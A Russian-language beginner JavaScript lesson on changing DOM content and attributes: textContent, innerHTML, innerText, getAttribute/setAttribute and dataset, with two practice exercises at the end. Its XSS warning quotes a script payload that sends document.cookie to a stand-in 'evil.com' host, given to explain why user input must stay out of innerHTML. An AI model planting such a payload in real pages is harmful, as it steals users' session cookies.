$ sudo teach IT
РАЗДЕЛ 9 · УРОК 3

Изменение содержимого и атрибутов

Нашли элемент — теперь научимся его менять. Меняем текст, HTML-содержимое, атрибуты и data-атрибуты. Разберём разницу между textContent, innerHTML и innerText.

⏱ ~25 минут ✏️ DOM API 🎓 Для новичков

📝 textContent — чистый текст

textContent — это свойство, которое возвращает или устанавливает текстовое содержимое элемента. Все HTML-теги игнорируются — вы работаете только с текстом.

<p id="info">Привет, <strong>мир</strong>!</p>
<div id="result"></div>
const info = document.getElementById('info');
const result = document.getElementById('result');

// Чтение текста — теги игнорируются
console.log(info.textContent); // "Привет, мир!"
// Нет никакой , только чистый текст

// Запись текста
result.textContent = 'Результат вычислений: 42';
// В div появится: "Результат вычислений: 42"

// ВАЖНО: если попытаться записать HTML через textContent — он будет
// показан как обычный текст, теги не интерпретируются
result.textContent = '<b>Жирный</b> текст';
// На экране появится: <b>Жирный</b> текст (буквально, как текст!)

// Очистить элемент
result.textContent = ''; // пустая строка

✅ Когда использовать textContent: когда вы хотите показать пользователю текст — результат вычислений, имя, число, сообщение. Это самый безопасный способ вставки контента — HTML-теги не интерпретируются, XSS-атаки невозможны.

🖼️ innerHTML — HTML-содержимое

innerHTML — в отличие от textContent, умеет работать с HTML. При чтении возвращает HTML-строку внутри элемента. При записи — интерпретирует теги и создаёт реальные DOM-элементы.

<div id="card">
  <h3>Привет!</h3>
  <p>Текст</p>
</div>
const card = document.getElementById('card');

// Читаем HTML-содержимое
console.log(card.innerHTML);
// "<h3>Привет!</h3>\n  <p>Текст</p>"

// Заменяем содержимое целиком на новый HTML
card.innerHTML = `
  <h3>Новый заголовок</h3>
  <p>Новый текст</p>
  <button>Кнопка</button>
`;
// Внутри card теперь три элемента: h3, p и button

// Добавляем HTML в конец (не заменяем, а дополняем)
card.innerHTML += '<p>Ещё один абзац</p>';
// Осторожно: += пересоздаёт весь DOM внутри элемента!

🚨 Внимание — XSS-уязвимость! Никогда не используйте innerHTML для вставки данных, которые пришли от пользователя. Если пользователь введёт <script>document.location='http://evil.com?'+document.cookie</script> — этот скрипт выполнится! Для пользовательских данных всегда используйте textContent.

Пример плохого и хорошего кода:

const userInput = document.getElementById('input').value;
// Пусть пользователь ввёл: <script>alert('хакер')</script>

// ❌ ПЛОХО — выполнит скрипт хакера!
document.getElementById('output').innerHTML = userInput;

// ✅ ХОРОШО — покажет тег как текст, ничего не выполнит
document.getElementById('output').textContent = userInput;

💡 Когда использовать innerHTML: когда вы сами пишете HTML-строку в коде (шаблоны), а данные из неё — ваши собственные (не от пользователя). Например, рендерить карточку товара по данным из своего API.

👁️ innerText — только видимый текст

innerText похож на textContent, но с одним важным отличием: он учитывает CSS-стили и возвращает только видимый текст.

<p id="demo">
  Видимый текст
  <span style="display:none">Скрытый текст</span>
  Ещё видимый
</p>
const p = document.getElementById('demo');

// innerText — только то, что видит пользователь
console.log(p.innerText);
// "Видимый текст\nЕщё видимый"
// Скрытый текст пропущен!

// textContent — весь текст, включая скрытый
console.log(p.textContent);
// "Видимый текст Скрытый текст Ещё видимый"
textContent
  • Весь текст (включая скрытый)
  • Не учитывает CSS
  • Быстрее — не вызывает перерасчёт стилей
  • Рекомендуется по умолчанию
innerText
  • Только видимый текст
  • Учитывает CSS (display, visibility)
  • Медленнее — запрашивает стили
  • Когда важно что видит пользователь
innerHTML
  • HTML-строка с тегами
  • Интерпретирует теги при записи
  • Опасен с пользовательским вводом
  • Для шаблонного HTML

🏷️ Работа с атрибутами элементов

У HTML-элементов есть атрибуты: href, src, alt, placeholder, disabled и другие. JavaScript умеет читать, изменять и удалять их.

<a id="link" href="https://google.com" target="_blank">Открыть Google</a>
<img id="photo" src="cat.jpg" alt="Кот">
<input id="field" placeholder="Введите имя" type="text">
const link = document.getElementById('link');
const photo = document.getElementById('photo');
const field = document.getElementById('field');

// getAttribute — читает атрибут
console.log(link.getAttribute('href'));   // "https://google.com"
console.log(link.getAttribute('target')); // "_blank"
console.log(photo.getAttribute('alt'));   // "Кот"

// setAttribute — устанавливает (или изменяет) атрибут
link.setAttribute('href', 'https://github.com');
link.setAttribute('target', '_self'); // откроется в той же вкладке
photo.setAttribute('src', 'dog.jpg'); // поменяли картинку
photo.setAttribute('alt', 'Собака');  // изменили alt

// hasAttribute — проверяет, есть ли атрибут (возвращает true/false)
console.log(field.hasAttribute('placeholder')); // true
console.log(field.hasAttribute('disabled'));    // false

// removeAttribute — удаляет атрибут
field.removeAttribute('placeholder'); // убрали подсказку

Для часто используемых атрибутов есть удобные прямые свойства — без getAttribute/setAttribute:

// Прямые свойства — удобнее для частых атрибутов
const img = document.getElementById('photo');

img.src = 'newimage.jpg';  // то же что setAttribute('src', ...)
img.alt = 'Новое описание';

const link = document.getElementById('link');
link.href = 'https://youtube.com';

// Для input-полей
const input = document.getElementById('field');
input.placeholder = 'Новая подсказка';
input.disabled = true;  // делает поле недоступным
input.disabled = false; // снова доступно

💾 data-атрибуты — хранение данных в HTML

data-* — специальные атрибуты для хранения произвольных данных прямо в HTML-элементах. Браузер их игнорирует (не влияют на отображение), но JavaScript легко читает через свойство dataset.

<!-- data-атрибуты: data-ИМЯ="значение" -->
<div class="product"
     data-id="42"
     data-price="1500"
     data-category="electronics"
     data-in-stock="true">
  Ноутбук
</div>

<button data-action="delete" data-item-id="5">Удалить</button>
const product = document.querySelector('.product');

// Читаем через dataset — camelCase!
// data-id → dataset.id
// data-in-stock → dataset.inStock (дефис убирается, следующая буква большая)
// data-item-id → dataset.itemId

console.log(product.dataset.id);       // "42" (строка!)
console.log(product.dataset.price);    // "1500"
console.log(product.dataset.category); // "electronics"
console.log(product.dataset.inStock);  // "true" (строка, не булево!)

// ВАЖНО: значения всегда строки. Числа нужно конвертировать
const price = Number(product.dataset.price); // 1500 (число)
const id = parseInt(product.dataset.id, 10); // 42 (целое)

// Устанавливаем data-атрибут
product.dataset.rating = '4.5';
// В HTML появится: data-rating="4.5"

// Удаляем data-атрибут
delete product.dataset.inStock;
// Из HTML уберётся: data-in-stock

// Или через setAttribute/removeAttribute
product.setAttribute('data-sale', '20%');
product.removeAttribute('data-sale');

💡 Практический сценарий: у вас список кнопок «Удалить» для задач. Как кнопка узнает, какую задачу удалять? Через data-атрибут! data-task-id="5" — в обработчике клика читаем event.target.dataset.taskId и знаем, что удалять.

Вот полный практический пример с data-атрибутами:

<ul id="tasks">
  <li data-task-id="1">
    Купить хлеб
    <button class="delete-btn" data-task-id="1">Удалить</button>
  </li>
  <li data-task-id="2">
    Позвонить маме
    <button class="delete-btn" data-task-id="2">Удалить</button>
  </li>
</ul>
// Вешаем обработчик на все кнопки удаления
document.querySelectorAll('.delete-btn').forEach(function(btn) {
  btn.addEventListener('click', function() {
    const taskId = btn.dataset.taskId; // "1" или "2"
    console.log('Удаляем задачу с id:', taskId);

    // Находим родительский li и удаляем его
    const taskItem = document.querySelector('[data-task-id="' + taskId + '"]');
    taskItem.remove();
  });
});

🖥️ Вывод результата на страницу

Реальные приложения показывают результаты пользователю — на странице, а не в консоли. Вот типичный паттерн:

<div>
  <input id="num1" type="number" value="0">
  <span> + </span>
  <input id="num2" type="number" value="0">
  <button id="calc-btn">Посчитать</button>
  <p>Результат: <strong id="result">?</strong></p>
</div>
const num1 = document.getElementById('num1');
const num2 = document.getElementById('num2');
const btn = document.getElementById('calc-btn');
const result = document.getElementById('result');

btn.addEventListener('click', function() {
  // value всегда строка — конвертируем в число
  const a = Number(num1.value);
  const b = Number(num2.value);
  const sum = a + b;

  // Выводим результат на страницу, а не в console.log
  result.textContent = sum;
});

✅ Правило: для вывода текстовых данных используйте textContent. Для вставки HTML-шаблонов (когда данные ваши, не пользователя) — innerHTML. Никогда не вставляйте пользовательский ввод через innerHTML.

✅ Итоги урока

  • textContent — читает/пишет чистый текст, без тегов. Безопасно, рекомендуется по умолчанию
  • innerHTML — читает/пишет HTML. Интерпретирует теги. Опасно с данными от пользователя (XSS)
  • innerText — только видимый текст, учитывает CSS. Медленнее textContent
  • getAttribute(name) — читает атрибут, setAttribute(name, value) — устанавливает
  • hasAttribute(name) — проверяет наличие, removeAttribute(name) — удаляет
  • data-* атрибуты хранят данные в HTML. Читаются через dataset.camelCaseName
  • Значения dataset всегда строки — конвертируйте в числа через Number() или parseInt()

В следующем уроке мы займёмся стилями — как менять внешний вид элементов через JS и почему classList лучше чем прямое изменение атрибута class. 🎨

Изменение содержимого и атрибутов

7 вопросов

textContent vs innerHTML

// Дан элемент output и пользовательский ввод userInput. // Напишите условия: // 1. Если isSafe === true — используйте textContent для вставки в output // 2. Если isSafe === false — используйте innerHTML для HTML-шаблона // 3. Объясните, почему для пользовательского ввода опасен innerHTML let isSafe = true; let userInput = ''; let output = null; // Ваш код здесь

Работа с data-атрибутами

// Дан HTML-элемент product с атрибутами: // data-id="42" data-price="1500" data-category="electronics" // Прочитайте их через dataset и запишите в переменные: // id (как число), price (как число), category (как строку) const product = null; let id = 0; let price = 0; let category = ''; // Ваш код здесь